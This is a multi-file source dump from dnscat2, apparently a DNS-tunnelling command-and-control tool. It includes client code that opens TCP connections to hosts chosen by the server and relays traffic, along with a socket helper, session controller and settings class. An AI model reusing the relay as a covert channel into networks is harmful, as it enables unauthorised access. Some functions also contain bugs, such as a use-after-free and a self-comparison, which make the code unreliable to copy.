LL_32: 76 | return a.value.u32 == b.value.u32; 77 | 78 | case LL_64: 79 | return a.value.u64 == b.value.u64; 80 | 81 | case LL_PTR: 82 | if(ll->cmpfunc) 83 | return ll->cmpfunc(a.value.ptr, b.value.ptr); 84 | else 85 | return a.value.ptr == a.value.ptr; 86 | } 87 | 88 | printf("We forgot to handle a linked-list type!\n"); 89 | exit(1); 90 | } 91 | 92 | void *ll_remove(ll_t *ll, ll_index_t index) 93 | { 94 | ll_element_t *prev = NULL; 95 | ll_element_t *cur = ll->first; 96 | 97 | while(cur) 98 | { 99 | if(compare(ll, cur->index, index)) 100 | { 101 | if(prev) 102 | prev->next = cur->next; 103 | else 104 | ll->first = (ll_element_t *)cur->next; 105 | 106 | return destroy_element(cur); 107 | } 108 | prev = cur; 109 | cur = (ll_element_t*)prev->next; 110 | } 111 | 112 | return NULL; 113 | } 114 | 115 | void *ll_remove_first(ll_t *ll) 116 | { 117 | ll_element_t *first = ll->first; 118 | 119 | if(first) 120 | ll->first = (ll_element_t *)first->next; 121 | 122 | return first ? first->data : NULL; 123 | } 124 | 125 | void *ll_find(ll_t *ll, ll_index_t index) 126 | { 127 | ll_element_t *cur = ll->first; 128 | 129 | while(cur) 130 | { 131 | if(compare(ll, cur->index, index)) 132 | return cur->data; 133 | cur = (ll_element_t *)cur->next; 134 | } 135 | 136 | return NULL; 137 | } 138 | 139 | void ll_destroy(ll_t *ll) 140 | { 141 | ll_element_t *cur = ll->first; 142 | ll_element_t *next = NULL; 143 | 144 | while(cur) 145 | { 146 | next = (ll_element_t *)cur->next; 147 | destroy_element(cur); 148 | cur = next; 149 | } 150 | 151 | safe_free(ll); 152 | } 153 | 154 | ll_index_t ll_8(uint8_t value) 155 | { 156 | ll_index_t index; 157 | index.type = LL_8; 158 | index.value.u8 = value; 159 | 160 | return index; 161 | } 162 | 163 | ll_index_t ll_16(uint16_t value) 164 | { 165 | ll_index_t index; 166 | index.type = LL_16; 167 | index.value.u16 = value; 168 | 169 | return index; 170 | } 171 | 172 | ll_index_t ll_32(uint32_t value) 173 | { 174 | ll_index_t index; 175 | index.type = LL_32; 176 | index.value.u32 = value; 177 | 178 | return index; 179 | } 180 | 181 | ll_index_t ll_64(uint64_t value) 182 | { 183 | ll_index_t index; 184 | index.type = LL_64; 185 | index.value.u64 = value; 186 | 187 | return index; 188 | } 189 | 190 | ll_index_t ll_ptr(void *value) 191 | { 192 | ll_index_t index; 193 | index.type = LL_PTR; 194 | index.value.ptr = value; 195 | 196 | return index; 197 | } 198 | 199 | #if 0 200 | int my_strcmp(const void *a, const void *b) 201 | { 202 | return strcmp((const char*)a, (const char*)b); 203 | } 204 | 205 | int main(int argc, const char *argv[]) 206 | { 207 | ll_t *ll = ll_create(NULL); 208 | 209 | printf("\n"); 210 | printf("nil: %p\n", ll_find(ll, ll_16(0x123))); 211 | 212 | printf("\n"); 213 | ll_add(ll, ll_16(0x12), (void*)0x32); 214 | printf("32: %p\n", ll_find(ll, ll_16(0x12))); 215 | printf("nil: %p\n", ll_find(ll, ll_16(0x31))); 216 | printf("nil: %p\n", ll_find(ll, ll_32(0x12))); 217 | printf("nil: %p\n", ll_find(ll, ll_8(0x12))); 218 | 219 | printf("\n"); 220 | ll_remove(ll, ll_16(0x123)); 221 | printf("nil: %p\n", ll_find(ll, ll_16(0x123))); 222 | 223 | ll_add(ll, ll_8(1), "8"); 224 | ll_add(ll, ll_16(1), "16"); 225 | ll_add(ll, ll_32(1), "32"); 226 | ll_add(ll, ll_64(1), "64"); 227 | ll_add(ll, ll_ptr((void*)1), "ptr"); 228 | 229 | printf("8: %s\n", (char*)ll_find(ll, ll_8(1))); 230 | printf("16: %s\n", (char*)ll_find(ll, ll_16(1))); 231 | printf("32: %s\n", (char*)ll_find(ll, ll_32(1))); 232 | printf("64: %s\n", (char*)ll_find(ll, ll_64(1))); 233 | printf("ptr: %s\n", (char*)ll_find(ll, ll_ptr((void*)1))); 234 | 235 | ll_remove(ll, ll_8(1)); 236 | ll_remove(ll, ll_16(1)); 237 | ll_remove(ll, ll_32(1)); 238 | ll_remove(ll, ll_64(1)); 239 | ll_remove(ll, ll_ptr((void*)1)); 240 | 241 | printf("nil: %p\n", (char*)ll_find(ll, ll_8(1))); 242 | printf("nil: %p\n", (char*)ll_find(ll, ll_16(1))); 243 | printf("nil: %p\n", (char*)ll_find(ll, ll_32(1))); 244 | printf("nil: %p\n", (char*)ll_find(ll, ll_64(1))); 245 | printf("nil: %p\n", (char*)ll_find(ll, ll_ptr((void*)1))); 246 | 247 | ll_destroy(ll); 248 | 249 | return 0; 250 | } 251 | #endif 252 | -------------------------------------------------------------------------------- /server/libs/settings.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # settings.rb 3 | # By Ron Bowes 4 | # February 8, 2014 5 | # 6 | # See LICENSE.md 7 | # 8 | # This is a class for managing ephemeral settings for a project. 9 | # 10 | # When the program starts, any number of settings can be registered either for 11 | # individually created instances of this class, or for a global instances - 12 | # Settings::GLOBAL - that is automatically created (and that is used for 13 | # getting/setting settings that don't exist). 14 | # 15 | # What makes this more useful than a hash is two things: 16 | # 17 | # 1. Mutators - Each setting can have a mutator (which is built-in and related 18 | # to the type) that can alter it. For example, TYPE_BOOLEAN has a mutator that 19 | # changes 't', 'true', 'y', 'yes', etc to true. TYPE_INTEGER converts to a 20 | # proper number (or throws an error if it's not a number), and so on. 21 | # 22 | # 2. Validators/callbacks - When a setting is defined, it's given a block that 23 | # executes whenever the value changes. That block can either prevent the change 24 | # by raising a Settings::ValidationError (which the program has to catch), or 25 | # can process the change in some way (by, for example, changing a global 26 | # variable). 27 | # 28 | # Together, those features make this class fairly flexible and useful! 29 | ## 30 | 31 | class Settings 32 | def initialize() 33 | @settings = {} 34 | end 35 | 36 | GLOBAL = Settings.new() 37 | 38 | class ValidationError < StandardError 39 | end 40 | 41 | TYPE_STRING = 0 42 | TYPE_INTEGER = 1 43 | TYPE_BOOLEAN = 2 44 | TYPE_BLANK_IS_NIL = 3 45 | TYPE_NO_STRIP = 4 46 | 47 | @@mutators = { 48 | TYPE_STRING => Proc.new() do |value| 49 | value.strip() 50 | end, 51 | 52 | TYPE_INTEGER => Proc.new() do |value| 53 | if(value.nil?) 54 | raise(Settings::ValidationError, "Can't be nil!") 55 | end 56 | if(value.start_with?('0x')) 57 | if(value[2..-1] !~ /^[\h]+$/) 58 | raise(Settings::ValidationError, "Not a value hex string: #{value}") 59 | end 60 | 61 | value[2..-1].to_i(16) 62 | else 63 | if(value !~ /^[\d]+$/) 64 | raise(Settings::ValidationError, "Not a valid number: #{value}") 65 | end 66 | 67 | value.to_i() 68 | end 69 | end, 70 | 71 | TYPE_BOOLEAN => Proc.new() do |value| 72 | value = value.downcase() 73 | 74 | if(['t', 1, 'y', 'true', 'yes'].index(value)) 75 | # return 76 | true 77 | elsif(['f', 0, 'n', 'false', 'no'].index(value)) 78 | # return 79 | false 80 | else 81 | raise(Settings::ValidationError, "Expected: true/false") 82 | end 83 | 84 | end, 85 | 86 | TYPE_BLANK_IS_NIL => Proc.new() do |value| 87 | value == '' ? nil : value.strip() 88 | end, 89 | 90 | TYPE_NO_STRIP => Proc.new() do |value| 91 | value 92 | end, 93 | } 94 | 95 | # Set the name to the new value. The name has to have previously been defined 96 | # by calling the create() function. 97 | # 98 | # If this isn't Settings::GLOBAL and allow_recursion is set, unrecognized 99 | # variables will be retrieved, if possible, from Settings::GLOBAL. 100 | def set(name, new_value, allow_recursion=true) 101 | name = name.to_s() 102 | new_value = new_value.to_s() 103 | 104 | if(@settings[name].nil?) 105 | if(!allow_recursion) 106 | raise(Settings::ValidationError, "No such setting!") 107 | end 108 | 109 | return Settings::GLOBAL.set(name, new_value, false) 110 | end 111 | 112 | old_value = @settings[name][:value] 113 | new_value = @@mutators[@settings[name][:type]].call(new_value) 114 | 115 | if(@settings[name][:watcher] && old_value != new_value) 116 | @settings[name][:watcher].call(old_value, new_value) 117 | end 118 | 119 | @settings[name][:value] = new_value 120 | 121 | return old_value 122 | end 123 | 124 | # Set a variable back to the default value. 125 | def unset(name, allow_recursion=true) 126 | if(@settings[name].nil?) 127 | if(!allow_recursion) 128 | raise(Settings::ValidationError, "No such setting!") 129 | end 130 | 131 | return Settings::GLOBAL.unset(name) 132 | end 133 | 134 | set(name, @settings[name][:default].to_s(), allow_recursion) 135 | end 136 | 137 | # Get the current value of a variable. 138 | def get(name, allow_recursion=true) 139 | name = name.to_s() 140 | 141 | if(@settings[name].nil?) 142 | if(allow_recursion) 143 | return GLOBAL.get(name, false) 144 | end 145 | end 146 | 147 | return @settings[name][:value] 148 | end 149 | 150 | # Yields for each setting. Each setting has a name, a value, a documentation 151 | # string, and a default value. 152 | def each_setting() 153 | @settings.each_pair do |k, v| 154 | yield(k, v[:value], v[:docs], v[:default]) 155 | end 156 | end 157 | 158 | # Create a new setting, or replace an old one. This must be done before a 159 | # setting is used. 160 | def create(name, type, default_value, docs) 161 | name = name.to_s() 162 | 163 | @settings[name] = @settings[name] || {} 164 | 165 | @settings[name][:type] = type 166 | @settings[name][:watcher] = proc 167 | @settings[name][:docs] = docs 168 | @settings[name][:default] = @@mutators[type].call(default_value.to_s()) 169 | 170 | # This sets it to the default value 171 | unset(name, false) 172 | end 173 | 174 | # Replaces any variable found in the given, in the form '$var' where 'var' 175 | # is a setting, with the setting value 176 | # 177 | # For example if "id" is set to 123, then the string "the id is $id" will 178 | # become "the id is 123". 179 | def do_replace(str, allow_recursion = true) 180 | @settings.each_pair do |name, setting| 181 | str = str.gsub(/\$#{name}/, setting[:value].to_s()) 182 | end 183 | 184 | if(allow_recursion) 185 | str = Settings::GLOBAL.do_replace(str, false) 186 | end 187 | 188 | return str 189 | end 190 | end 191 | -------------------------------------------------------------------------------- /client/libs/tcp.c: -------------------------------------------------------------------------------- 1 | /* tcp.c 2 | * By Ron 3 | * Created August, 2008 4 | * 5 | * (See LICENSE.md) 6 | */ 7 | 8 | #include 9 | #include 10 | 11 | #ifdef WIN32 12 | #include 13 | #else 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #endif 23 | 24 | #include "tcp.h" 25 | 26 | void winsock_initialize() 27 | { 28 | #ifdef WIN32 29 | WORD wVersionRequested = MAKEWORD(2, 2); 30 | WSADATA wsaData; 31 | 32 | int error = WSAStartup(wVersionRequested, &wsaData); 33 | 34 | switch(error) 35 | { 36 | case WSASYSNOTREADY: 37 | fprintf(stderr, "The underlying network subsystem is not ready for network communication.\n"); 38 | exit(1); 39 | break; 40 | 41 | case WSAVERNOTSUPPORTED: 42 | fprintf(stderr, "The version of Windows Sockets support requested is not provided by this particular Windows Sockets implementation.\n"); 43 | exit(1); 44 | break; 45 | 46 | case WSAEINPROGRESS: 47 | fprintf(stderr, "A blocking Windows Sockets 1.1 operation is in progress.\n"); 48 | exit(1); 49 | break; 50 | 51 | case WSAEPROCLIM: 52 | fprintf(stderr, "A limit on the number of tasks supported by the Windows Sockets implementation has been reached.\n"); 53 | exit(1); 54 | break; 55 | 56 | case WSAEFAULT: 57 | fprintf(stderr, "The lpWSAData parameter is not a valid pointer.\n"); 58 | exit(1); 59 | break; 60 | } 61 | #endif 62 | } 63 | 64 | int tcp_connect_options(char *host, uint16_t port, int non_blocking) 65 | { 66 | struct sockaddr_in serv_addr; 67 | struct hostent *server; 68 | int s; 69 | int status; 70 | 71 | /* Create the socket */ 72 | s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 73 | 74 | if (s == -1) 75 | nbdie("tcp: couldn't create socket"); 76 | 77 | if(non_blocking) 78 | { 79 | #ifdef WIN32 80 | unsigned long mode = 1; 81 | ioctlsocket(s, FIONBIO, &mode); 82 | #else 83 | int flags = fcntl(s, F_GETFL, 0); 84 | flags = flags | O_NONBLOCK; 85 | fcntl(s, F_SETFL, flags); 86 | #endif 87 | } 88 | 89 | /* Look up the host */ 90 | server = gethostbyname(host); 91 | if(!server) 92 | { 93 | fprintf(stderr, "Couldn't find host %s\n", host); 94 | return -1; 95 | } 96 | 97 | /* Set up the server address */ 98 | memset(&serv_addr, '\0', sizeof(serv_addr)); 99 | serv_addr.sin_family = AF_INET; 100 | serv_addr.sin_port = htons(port); 101 | memcpy(&serv_addr.sin_addr, server->h_addr_list[0], server->h_length); 102 | 103 | /* Connect */ 104 | status = connect(s, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); 105 | 106 | #ifdef WIN32 107 | if(status < 0 && GetLastError() != WSAEWOULDBLOCK) 108 | #else 109 | if(status < 0 && errno != EINPROGRESS) 110 | #endif 111 | { 112 | nberror("tcp: couldn't connect to host"); 113 | 114 | return -1; 115 | } 116 | 117 | return s; 118 | } 119 | 120 | int tcp_connect(char *host, uint16_t port) 121 | { 122 | return tcp_connect_options(host, port, 0); 123 | } 124 | 125 | void tcp_set_nonblocking(int s) 126 | { 127 | #ifdef WIN32 128 | /* TODO: This */ 129 | fprintf(stderr, "Don't know how to do nonblocking on Windows\n"); 130 | exit(1); 131 | #else 132 | fcntl(s, F_SETFL, O_NONBLOCK); 133 | #endif 134 | } 135 | 136 | int tcp_listen(char *address, uint16_t port) 137 | { 138 | int s; 139 | struct sockaddr_in serv_addr; 140 | 141 | /* Get the server address */ 142 | memset((char *) &serv_addr, '\0', sizeof(serv_addr)); 143 | serv_addr.sin_family = AF_INET; 144 | serv_addr.sin_addr.s_addr = inet_addr(address); 145 | serv_addr.sin_port = htons(port); 146 | 147 | if(serv_addr.sin_addr.s_addr == INADDR_NONE) 148 | nbdie("tcp: couldn't parse local address"); 149 | 150 | /* Create a socket */ 151 | s = socket(AF_INET, SOCK_STREAM, 0); 152 | if(s < 0) 153 | { 154 | nbdie("tcp: couldn't create socket"); 155 | } 156 | else 157 | { 158 | /* Bind the socket */ 159 | if (bind(s, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 160 | nbdie("tcp: couldn't bind to socket"); 161 | 162 | /* Switch the socket to listen mode. TODO: why 20? */ 163 | if(listen(s, 20) < 0) 164 | nbdie("tcp: couldn't listen on socket"); 165 | } 166 | 167 | return s; 168 | } 169 | 170 | int tcp_accept(int listen, char **address, uint16_t *port) 171 | { 172 | struct sockaddr_in addr; 173 | socklen_t sockaddr_len = sizeof(struct sockaddr_in); 174 | int s; 175 | 176 | s = accept(listen, (struct sockaddr *) &addr, &sockaddr_len); 177 | 178 | if(s < 0) 179 | nbdie("tcp: couldn't accept connection"); 180 | 181 | *address = inet_ntoa(addr.sin_addr); 182 | *port = ntohs(addr.sin_port); 183 | 184 | return s; 185 | } 186 | 187 | ssize_t tcp_send(int s, void *data, size_t length) 188 | { 189 | return send(s, data, length, 0); 190 | } 191 | 192 | ssize_t tcp_recv(int s, void *buffer, size_t buffer_length) 193 | { 194 | return recv(s, buffer, buffer_length, 0); 195 | } 196 | 197 | int tcp_close(int s) 198 | { 199 | #ifdef WIN32 200 | return closesocket(s); 201 | #else 202 | return close(s); 203 | #endif 204 | } 205 | 206 | #if 0 207 | int main(int argc, char *argv[]) 208 | { 209 | char buffer[1024]; 210 | int s; 211 | int listener; 212 | struct sockaddr_in addr; 213 | int port; 214 | size_t len; 215 | 216 | memset(buffer, 0, 1024); 217 | 218 | winsock_initialize(); 219 | 220 | s = tcp_connect("www.google.ca", 80); 221 | if(s < 0) 222 | DIE("Fail"); 223 | tcp_send(s, "GET / HTTP/1.0\r\nHost: www.google.com\r\n\r\n", 41); 224 | tcp_recv(s, buffer, 1024); 225 | tcp_close(s); 226 | 227 | printf("%s\n", buffer); 228 | 229 | printf("Listening on TCP/6666\n"); 230 | listener = tcp_listen("0.0.0.0", 6666); 231 | s = tcp_accept(listener, &addr, &port); 232 | 233 | if(s < 0) 234 | DIE("Fail"); 235 | 236 | printf("Connection accepted from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); 237 | 238 | memset(buffer, 0, 1024); 239 | strcpy(buffer, "HELLO!"); 240 | len = 7; 241 | while(len > 0 && tcp_send(s, buffer, len) >= 0) 242 | { 243 | memset(buffer, 0, 1024); 244 | len = tcp_recv(s, buffer, 1024); 245 | printf("Received: %s [%d]\n", buffer, len); 246 | } 247 | 248 | printf("%s\n", buffer); 249 | return 1; 250 | } 251 | #endif 252 | -------------------------------------------------------------------------------- /client/controller/controller.c: -------------------------------------------------------------------------------- 1 | /** 2 | * controller.c 3 | * Created by Ron Bowes 4 | * On April, 2015 5 | * 6 | * See LICENSE.md 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #ifdef WIN32 14 | #include "libs/pstdint.h" 15 | #else 16 | #include 17 | #endif 18 | 19 | #include "libs/dns.h" 20 | #include "libs/log.h" 21 | #include "tunnel_drivers/driver_dns.h" 22 | #include "packet.h" 23 | #include "session.h" 24 | 25 | #include "controller.h" 26 | 27 | static int max_retransmits = 20; 28 | 29 | typedef struct _session_entry_t 30 | { 31 | session_t *session; 32 | struct _session_entry_t *next; 33 | } session_entry_t; 34 | static session_entry_t *first_session; 35 | 36 | void controller_add_session(session_t *session) 37 | { 38 | session_entry_t *entry = NULL; 39 | 40 | /* Add it to the linked list. */ 41 | entry = safe_malloc(sizeof(session_entry_t)); 42 | entry->session = session; 43 | entry->next = first_session; 44 | first_session = entry; 45 | } 46 | 47 | size_t controller_open_session_count() 48 | { 49 | size_t count = 0; 50 | 51 | session_entry_t *entry = first_session; 52 | 53 | while(entry) 54 | { 55 | if(!session_is_shutdown(entry->session)) 56 | count++; 57 | 58 | entry = entry->next; 59 | } 60 | 61 | return count; 62 | } 63 | 64 | static session_t *sessions_get_by_id(uint16_t session_id) 65 | { 66 | session_entry_t *entry; 67 | 68 | for(entry = first_session; entry; entry = entry->next) 69 | if(entry->session->id == session_id) 70 | return entry->session; 71 | 72 | return NULL; 73 | } 74 | 75 | /* Version beta 0.01 suffered from a bug that I didn't understand: if one 76 | * session had a ton of data to send, all the other sessions were ignored till 77 | * it was done (if it was a new session). This function will get the "next" 78 | * session using a global variable. 79 | */ 80 | static session_entry_t *current_session = NULL; 81 | 82 | #if 0 83 | static session_t *sessions_get_next() 84 | { 85 | /* If there's no session, use the first one. */ 86 | if(!current_session) 87 | current_session = first_session; 88 | 89 | /* If there's still no session, give up. */ 90 | if(!current_session) 91 | return NULL; 92 | 93 | /* Get the next session. */ 94 | current_session = current_session->next; 95 | 96 | /* If we're at the end, go to the beginning. Also attempting a record for the 97 | * number of NULL checks one a single pointer. */ 98 | if(!current_session) 99 | current_session = first_session; 100 | 101 | /* If this is NULL, something crazy is happening (we already had a 102 | * first_session at some point in the past, so it means the linked list has 103 | * had a member removed, which we can't currently do. */ 104 | assert(current_session); 105 | 106 | /* All done! */ 107 | return current_session->session; 108 | } 109 | #endif 110 | 111 | /* Get the next session in line that isn't shutdown. 112 | * TODO: can/should we give higher priority to sessions that have data 113 | * waiting? 114 | */ 115 | static session_t *sessions_get_next_active() 116 | { 117 | /* Keep track of where we start. */ 118 | session_entry_t *start = NULL; 119 | 120 | /* If there's no session, use the first one. */ 121 | if(!current_session) 122 | current_session = first_session; 123 | 124 | /* If there's still no session, give up. */ 125 | if(!current_session) 126 | return NULL; 127 | 128 | /* Record our starting point. */ 129 | start = current_session; 130 | 131 | /* Get the next session. */ 132 | do 133 | { 134 | current_session = current_session->next; 135 | 136 | /* If we're at the end, go to the beginning. Also attempting a record for the 137 | * number of NULL checks one a single pointer. */ 138 | if(!current_session) 139 | current_session = first_session; 140 | 141 | if(!session_is_shutdown(current_session->session)) 142 | return current_session->session; 143 | } 144 | while(current_session != start); 145 | 146 | /* If we reached the starting point, there are no active sessions. */ 147 | return NULL; 148 | } 149 | 150 | NBBOOL controller_data_incoming(uint8_t *data, size_t length) 151 | { 152 | uint16_t session_id = packet_peek_session_id(data, length); 153 | session_t *session = sessions_get_by_id(session_id); 154 | 155 | /* If we weren't able to find a session, print an error and return. */ 156 | if(!session) 157 | { 158 | LOG_ERROR("Tried to access a non-existent session (%s): %d", __FUNCTION__, session_id); 159 | return FALSE; 160 | } 161 | 162 | /* Pass the data onto the session. */ 163 | return session_data_incoming(session, data, length); 164 | } 165 | 166 | uint8_t *controller_get_outgoing(size_t *length, size_t max_length) 167 | { 168 | /* This needs to somehow be balanced. */ 169 | session_t *session = sessions_get_next_active(); 170 | 171 | if(!session) 172 | { 173 | /* TODO: Drop to a "probe for sessions" mode instead. */ 174 | LOG_FATAL("There are no active sessions left! Goodbye!"); 175 | exit(0); 176 | return NULL; 177 | } 178 | 179 | return session_get_outgoing(session, length, max_length); 180 | } 181 | 182 | static void kill_ignored_sessions() 183 | { 184 | session_entry_t *entry = first_session; 185 | 186 | if(max_retransmits < 0) 187 | return; 188 | 189 | while(entry) 190 | { 191 | if(!entry->session->is_shutdown && entry->session->missed_transmissions > max_retransmits) 192 | { 193 | LOG_ERROR("The server hasn't returned a valid response in the last %d attempts.. closing session.", entry->session->missed_transmissions - 1); 194 | session_kill(entry->session); 195 | } 196 | 197 | entry = entry->next; 198 | } 199 | } 200 | 201 | void controller_kill_all_sessions() 202 | { 203 | session_entry_t *entry = first_session; 204 | 205 | while(entry) 206 | { 207 | if(!entry->session->is_shutdown) 208 | session_kill(entry->session); 209 | entry = entry->next; 210 | } 211 | } 212 | 213 | /* This will be called something like every 50ms. */ 214 | void controller_heartbeat() 215 | { 216 | kill_ignored_sessions(); 217 | } 218 | 219 | void controller_set_max_retransmits(int retransmits) 220 | { 221 | max_retransmits = retransmits; 222 | } 223 | 224 | void controller_destroy() 225 | { 226 | session_entry_t *prev_session = NULL; 227 | session_entry_t *entry = first_session; 228 | 229 | while(entry) 230 | { 231 | if(!entry->session->is_shutdown) 232 | session_kill(entry->session); 233 | session_destroy(entry->session); 234 | 235 | prev_session = entry; 236 | entry = entry->next; 237 | safe_free(prev_session); 238 | } 239 | } 240 | -------------------------------------------------------------------------------- /img/dnscat-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 22 | 24 | 47 | 49 | 50 | 52 | image/svg+xml 53 | 55 | 56 | 57 | 58 | 59 | 64 | 66 | 69 | 71 | 73 | 78 | 79 | 80 | 81 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /client/drivers/command/commands_tunnel.h: -------------------------------------------------------------------------------- 1 | /* commands_tunnel.c 2 | * By Ron Bowes 3 | * Created December, 2015 4 | * 5 | * See LICENSE.md 6 | * 7 | * Despite the name, this isn't realllly a header file. I moved some of 8 | * the functions into it to keep them better organized. 9 | */ 10 | 11 | static uint32_t g_tunnel_id = 0; 12 | 13 | typedef struct 14 | { 15 | uint32_t tunnel_id; 16 | int s; 17 | driver_command_t *driver; 18 | uint16_t connect_request_id; 19 | char *host; 20 | uint16_t port; 21 | } tunnel_t; 22 | 23 | static void send_and_free(buffer_t *outgoing_data, command_packet_t *out) 24 | { 25 | uint8_t *out_data = NULL; 26 | size_t out_length; 27 | 28 | out_data = command_packet_to_bytes(out, &out_length); 29 | buffer_add_bytes(outgoing_data, out_data, out_length); 30 | safe_free(out_data); 31 | command_packet_destroy(out); 32 | } 33 | 34 | static SELECT_RESPONSE_t tunnel_data_in(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) 35 | { 36 | tunnel_t *tunnel = (tunnel_t*) param; 37 | command_packet_t *out = NULL; 38 | 39 | LOG_INFO("[Tunnel %d] Received %zd bytes of data from server; forwarding to client", tunnel->tunnel_id, length); 40 | 41 | out = command_packet_create_tunnel_data_request(request_id(), tunnel->tunnel_id, data, length); 42 | send_and_free(tunnel->driver->outgoing_data, out); 43 | 44 | return SELECT_OK; 45 | } 46 | 47 | static SELECT_RESPONSE_t tunnel_closed(void *group, int s, void *param) 48 | { 49 | tunnel_t *tunnel = (tunnel_t*) param; 50 | command_packet_t *out = NULL; 51 | 52 | LOG_WARNING("[Tunnel %d] connection to %s:%d closed by the server!", tunnel->tunnel_id, tunnel->host, tunnel->port); 53 | 54 | /* Queue up a packet letting the server know the connection is gone. */ 55 | out = command_packet_create_tunnel_close_request(request_id(), tunnel->tunnel_id, "Server closed the connection"); 56 | send_and_free(tunnel->driver->outgoing_data, out); 57 | 58 | /* Remove the tunnel from the linked list of tunnels. */ 59 | ll_remove(tunnel->driver->tunnels, ll_32(tunnel->tunnel_id)); 60 | safe_free(tunnel->host); 61 | safe_free(tunnel); 62 | 63 | /* Close the socket. */ 64 | tcp_close(tunnel->s); 65 | 66 | return SELECT_REMOVE; 67 | } 68 | 69 | static SELECT_RESPONSE_t tunnel_error(void *group, int s, int err, void *param) 70 | { 71 | tunnel_t *tunnel = (tunnel_t*) param; 72 | command_packet_t *out = NULL; 73 | 74 | LOG_WARNING("[Tunnel %d] connection to %s:%d closed because of error %d", tunnel->tunnel_id, tunnel->host, tunnel->port, err); 75 | 76 | /* Queue up a packet letting the server know the connection is gone. */ 77 | out = command_packet_create_tunnel_close_request(request_id(), tunnel->tunnel_id, "Connection error"); 78 | send_and_free(tunnel->driver->outgoing_data, out); 79 | 80 | /* Remove the tunnel from the linked list of tunnels. */ 81 | ll_remove(tunnel->driver->tunnels, ll_32(tunnel->tunnel_id)); 82 | safe_free(tunnel->host); 83 | safe_free(tunnel); 84 | 85 | /* Close the socket. */ 86 | tcp_close(tunnel->s); 87 | 88 | return SELECT_REMOVE; 89 | } 90 | 91 | static SELECT_RESPONSE_t tunnel_ready(void *group, int s, void *param) 92 | { 93 | tunnel_t *tunnel = (tunnel_t*) param; 94 | command_packet_t *out = NULL; 95 | 96 | LOG_WARNING("[Tunnel %d] connected to %s:%d!", tunnel->tunnel_id, tunnel->host, tunnel->port); 97 | 98 | /* Queue up a packet letting the server know the connection is ready. */ 99 | out = command_packet_create_tunnel_connect_response(tunnel->connect_request_id, tunnel->tunnel_id); 100 | send_and_free(tunnel->driver->outgoing_data, out); 101 | 102 | return SELECT_OK; 103 | } 104 | 105 | static command_packet_t *handle_tunnel_connect(driver_command_t *driver, command_packet_t *in) 106 | { 107 | command_packet_t *out = NULL; 108 | tunnel_t *tunnel = NULL; 109 | 110 | if(!in->is_request) 111 | return NULL; 112 | 113 | /* Set up the tunnel object. */ 114 | tunnel = (tunnel_t*)safe_malloc(sizeof(tunnel_t)); 115 | tunnel->tunnel_id = g_tunnel_id++; 116 | tunnel->connect_request_id = in->request_id; 117 | tunnel->driver = driver; 118 | tunnel->host = safe_strdup(in->r.request.body.tunnel_connect.host); 119 | tunnel->port = in->r.request.body.tunnel_connect.port; 120 | LOG_WARNING("[Tunnel %d] connecting to %s:%d...", tunnel->tunnel_id, tunnel->host, tunnel->port); 121 | 122 | /* Do the actual connection. */ 123 | tunnel->s = tcp_connect_options(in->r.request.body.tunnel_connect.host, in->r.request.body.tunnel_connect.port, TRUE); 124 | 125 | if(tunnel->s == -1) 126 | { 127 | out = command_packet_create_error_response(in->request_id, TUNNEL_STATUS_FAIL, "The dnscat2 client couldn't connect to the remote host!"); 128 | } 129 | else 130 | { 131 | /* Add the driver to the global list. */ 132 | ll_add(driver->tunnels, ll_32(tunnel->tunnel_id), tunnel); 133 | 134 | /* Add the socket to the socket_group and set up various callbacks. */ 135 | select_group_add_socket(driver->group, tunnel->s, SOCKET_TYPE_STREAM, tunnel); 136 | select_set_recv(driver->group, tunnel->s, tunnel_data_in); 137 | select_set_closed(driver->group, tunnel->s, tunnel_closed); 138 | select_set_ready(driver->group, tunnel->s, tunnel_ready); 139 | select_set_error(driver->group, tunnel->s, tunnel_error); 140 | 141 | /* Don't respond to the packet... yet! */ 142 | out = NULL; 143 | } 144 | 145 | return out; 146 | } 147 | 148 | static command_packet_t *handle_tunnel_data(driver_command_t *driver, command_packet_t *in) 149 | { 150 | /* TODO: Find socket by tunnel_id */ 151 | tunnel_t *tunnel = (tunnel_t *)ll_find(driver->tunnels, ll_32(in->r.request.body.tunnel_data.tunnel_id)); 152 | if(!tunnel) 153 | { 154 | LOG_ERROR("Couldn't find tunnel: %d", in->r.request.body.tunnel_data.tunnel_id); 155 | return NULL; 156 | } 157 | 158 | LOG_INFO("[Tunnel %d] Received %zd bytes of data from client; forwarding to server", tunnel->tunnel_id, in->r.request.body.tunnel_data.length); 159 | tcp_send(tunnel->s, in->r.request.body.tunnel_data.data, in->r.request.body.tunnel_data.length); 160 | 161 | return NULL; 162 | } 163 | 164 | static command_packet_t *handle_tunnel_close(driver_command_t *driver, command_packet_t *in) 165 | { 166 | tunnel_t *tunnel = (tunnel_t *)ll_remove(driver->tunnels, ll_32(in->r.request.body.tunnel_data.tunnel_id)); 167 | 168 | if(!tunnel) 169 | { 170 | LOG_ERROR("The server tried to close a tunnel that we don't know about: %d", in->r.request.body.tunnel_data.tunnel_id); 171 | return NULL; 172 | } 173 | 174 | LOG_WARNING("[Tunnel %d] connection to %s:%d closed by the client: %s", tunnel->tunnel_id, tunnel->host, tunnel->port, in->r.request.body.tunnel_close.reason); 175 | 176 | select_group_remove_socket(driver->group, tunnel->s); 177 | tcp_close(tunnel->s); 178 | safe_free(tunnel->host); 179 | safe_free(tunnel); 180 | 181 | return NULL; 182 | } 183 | 184 | --------------------------------------------------------------------------------